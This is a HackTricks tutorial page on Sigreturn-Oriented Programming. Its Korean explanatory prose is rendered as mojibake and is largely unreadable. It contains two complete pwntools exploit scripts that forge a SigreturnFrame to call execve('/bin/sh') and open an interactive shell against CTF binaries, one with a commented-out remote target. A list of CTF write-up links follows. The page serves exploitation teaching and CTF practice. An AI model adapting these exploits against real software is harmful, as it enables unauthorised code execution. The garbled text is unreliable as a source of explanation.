SROP - Sigreturn-Oriented Programming
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Basic Information
**Sigreturn**๋ ์ฃผ๋ก ์ ํธ ์ฒ๋ฆฌ๊ธฐ๊ฐ ์คํ์ ์๋ฃํ ํ ์ ๋ฆฌํ๋ ๋ฐ ์ฌ์ฉ๋๋ ํน๋ณํ syscall์
๋๋ค. ์ ํธ๋ ์ด์ ์ฒด์ ๊ฐ ํ๋ก๊ทธ๋จ์ ๋ณด๋ด๋ ์ค๋จ์ผ๋ก, ์ข
์ข
์์ธ์ ์ธ ์ํฉ์ด ๋ฐ์ํ์์ ๋ํ๋
๋๋ค. ํ๋ก๊ทธ๋จ์ด ์ ํธ๋ฅผ ๋ฐ์ผ๋ฉด, ์ ํธ ์ฒ๋ฆฌ๊ธฐ๋ผ๋ ์ ํธ๋ฅผ ์ฒ๋ฆฌํ๊ธฐ ์ํด ์ค๊ณ๋ ํน๋ณํ ํจ์๋ก ์ ํธ๋ฅผ ์ฒ๋ฆฌํ๊ธฐ ์ํด ํ์ฌ ์์
์ ์ผ์ ์ค์งํฉ๋๋ค.
์ ํธ ์ฒ๋ฆฌ๊ธฐ๊ฐ ๋๋ ํ, ํ๋ก๊ทธ๋จ์ ์ด์ ์ํ๋ก ๋ณต๊ทํด์ผ ํฉ๋๋ค. ์ด๋ **sigreturn**์ด ์์ฉํฉ๋๋ค. ์ด๋ ํ๋ก๊ทธ๋จ์ด ์ ํธ ์ฒ๋ฆฌ๊ธฐ์์ ๋ฐํํ๊ณ ์ ํธ ์ฒ๋ฆฌ๊ธฐ์ ์ํด ์ฌ์ฉ๋ ์คํ ํ๋ ์(ํจ์ ํธ์ถ ๋ฐ ์ง์ญ ๋ณ์๋ฅผ ์ ์ฅํ๋ ๋ฉ๋ชจ๋ฆฌ ์น์
)์ ์ ๋ฆฌํ์ฌ ํ๋ก๊ทธ๋จ์ ์ํ๋ฅผ ๋ณต์ํ๋ ๋ฐ ๋์์ ์ค๋๋ค.
ํฅ๋ฏธ๋ก์ด ์ ์ **sigreturn**์ด ํ๋ก๊ทธ๋จ์ ์ํ๋ฅผ ๋ณต์ํ๋ ๋ฐฉ๋ฒ์
๋๋ค: ์ด๋ ๋ชจ๋ CPU์ ๋ ์ง์คํฐ ๊ฐ์ ์คํ์ ์ ์ฅํจ์ผ๋ก์จ ์ด๋ฃจ์ด์ง๋๋ค. ์ ํธ๊ฐ ๋ ์ด์ ์ฐจ๋จ๋์ง ์์ผ๋ฉด, sigreturn์ ์ด ๊ฐ์ ์คํ์์ ํํ์ฌ CPU์ ๋ ์ง์คํฐ๋ฅผ ์ ํธ๊ฐ ์ฒ๋ฆฌ๋๊ธฐ ์ ์ ์ํ๋ก ํจ๊ณผ์ ์ผ๋ก ์ฌ์ค์ ํฉ๋๋ค. ์ฌ๊ธฐ์๋ ํ์ฌ ์คํ์ ๋งจ ์๋ฅผ ๊ฐ๋ฆฌํค๋ ์คํ ํฌ์ธํฐ ๋ ์ง์คํฐ(RSP)๊ฐ ํฌํจ๋ฉ๋๋ค.
Caution
ROP ์ฒด์ธ์์
sigreturnsyscall์ ํธ์ถํ๊ณ ๋ก๋ํ๊ณ ์ ํ๋ ๋ ์ง์คํฐ ๊ฐ์ ์คํ์ ์ถ๊ฐํ๋ฉด ๋ชจ๋ ๋ ์ง์คํฐ ๊ฐ์ ์ ์ดํ ์ ์์ผ๋ฉฐ, ๋ฐ๋ผ์ ์๋ฅผ ๋ค์ดexecvesyscall์/bin/sh๋ก ํธ์ถํ ์ ์์ต๋๋ค.
์ด๊ฒ์ด ๋ค๋ฅธ Ret2syscall์ ํธ์ถํ๊ธฐ ์ํ ๋งค๊ฐ๋ณ์๋ฅผ ์ ์ดํ๋ ๊ฒ์ ํจ์ฌ ์ฝ๊ฒ ๋ง๋๋ Ret2syscall์ ์ผ์ข ์ด๋ผ๋ ์ ์ ์ ์ํ์ญ์์ค:
๊ถ๊ธํ๋ค๋ฉด, ์ด๋ ๋์ค์ ๊ฐ์ ๋ณต๊ตฌํ๊ธฐ ์ํด ์คํ์ ์ ์ฅ๋ sigcontext ๊ตฌ์กฐ์ฒด์ ๋๋ค (๋ค์ด์ด๊ทธ๋จ์ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
๋ ๋์ ์ค๋ช ์ ์ํด ๋ค์๋ ํ์ธํ์ธ์:
์์
์ฌ๊ธฐ์์ ROP๋ฅผ ํตํด signeturn ํธ์ถ์ด ๊ตฌ์ฑ๋๋ ์์๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค (rxa์ ๊ฐ 0xf๋ฅผ ๋ฃ์), ๋น๋ก ์ด๊ฒ์ด ์ต์ข
์ต์คํ๋ก์์
๋๋ค:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
๋ํ ์ฌ๊ธฐ์ ์ต์คํ๋ก์์ ํ์ธํ์ธ์. ์ฌ๊ธฐ์ ๋ฐ์ด๋๋ฆฌ๋ ์ด๋ฏธ sigreturn์ ํธ์ถํ๊ณ ์์ผ๋ฏ๋ก ROP๋ฅผ ๊ตฌ์ถํ ํ์๊ฐ ์์ต๋๋ค.
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
๋ค๋ฅธ ์์ ๋ฐ ์ฐธ๊ณ ์๋ฃ
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- ์คํ์ ์ฐ๊ธฐ๋ฅผ ํ์ฉํ๊ณ
sigreturn์์คํ ํธ์ถ์ ํธ์ถํ๋ ์ด์ ๋ธ๋ฆฌ ๋ฐ์ด๋๋ฆฌ. sigreturn ๊ตฌ์กฐ์ฒด๋ฅผ ํตํด ์คํ์ ret2syscall์ ์ธ ์ ์์ผ๋ฉฐ, ๋ฐ์ด๋๋ฆฌ์ ๋ฉ๋ชจ๋ฆฌ ์์ ์๋ ํ๋๊ทธ๋ฅผ ์ฝ์ ์ ์์ต๋๋ค. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- ์คํ์ ์ฐ๊ธฐ๋ฅผ ํ์ฉํ๊ณ
sigreturn์์คํ ํธ์ถ์ ํธ์ถํ๋ ์ด์ ๋ธ๋ฆฌ ๋ฐ์ด๋๋ฆฌ. sigreturn ๊ตฌ์กฐ์ฒด๋ฅผ ํตํด ์คํ์ ret2syscall์ ์ธ ์ ์์ผ๋ฉฐ, (๋ฐ์ด๋๋ฆฌ๋/bin/sh๋ฌธ์์ด์ ํฌํจํ๊ณ ์์ต๋๋ค). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64๋นํธ, relro ์์, canary ์์, nx, pie ์์. gets ํจ์์ ๋จ์ํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ก ret2syscall์ ์ํํ๋ ๊ฐ์ ฏ์ด ๋ถ์กฑํฉ๋๋ค. ROP ์ฒด์ธ์
/bin/sh๋ฅผ.bss์ ์ฐ๊ณ , ๋ค์ gets๋ฅผ ํธ์ถํ์ฌalarmํจ์๋ฅผ ์ ์ฉํ์ฌ eax๋ฅผ0xf๋ก ์ค์ ํ์ฌ SROP๋ฅผ ํธ์ถํ๊ณ ์ ธ์ ์คํํฉ๋๋ค. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64๋นํธ ์ด์
๋ธ๋ฆฌ ํ๋ก๊ทธ๋จ, relro ์์, canary ์์, nx, pie ์์. ํ๋ฆ์ ์คํ์ ์ฐ๊ณ ์ฌ๋ฌ ๋ ์ง์คํฐ๋ฅผ ์ ์ดํ๋ฉฐ ์์คํ
ํธ์ถ์ ํธ์ถํ ํ
exit๋ฅผ ํธ์ถํ ์ ์๊ฒ ํฉ๋๋ค. ์ ํ๋ ์์คํ ํธ์ถ์sigreturn์ผ๋ก, ๋ ์ง์คํฐ๋ฅผ ์ค์ ํ๊ณeip๋ฅผ ์ด์ ์์คํ ํธ์ถ ๋ช ๋ น์ด๋ฅผ ํธ์ถํ๋๋ก ์ด๋์์ผmemprotect๋ฅผ ์คํํ์ฌ ๋ฐ์ด๋๋ฆฌ ๊ณต๊ฐ์rwx๋ก ์ค์ ํ๊ณ ESP๋ฅผ ๋ฐ์ด๋๋ฆฌ ๊ณต๊ฐ์ ์ค์ ํฉ๋๋ค. ํ๋ฆ์ ๋ฐ๋ผ ํ๋ก๊ทธ๋จ์ ESP์ ๋ค์ ์ฝ๊ธฐ๋ฅผ ํธ์ถํ์ง๋ง, ์ด ๊ฒฝ์ฐ ESP๋ ๋ค์ ๋ช ๋ น์ด๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ๋์ด ์ ธ์ฝ๋๋ฅผ ๋ค์ ๋ช ๋ น์ด๋ก ์ฐ๊ณ ์คํํฉ๋๋ค. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP๋ ์ ธ์ฝ๋๊ฐ ๋ฐฐ์น๋ ์์น์ ์คํ ๊ถํ(mempprotect)์ ๋ถ์ฌํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


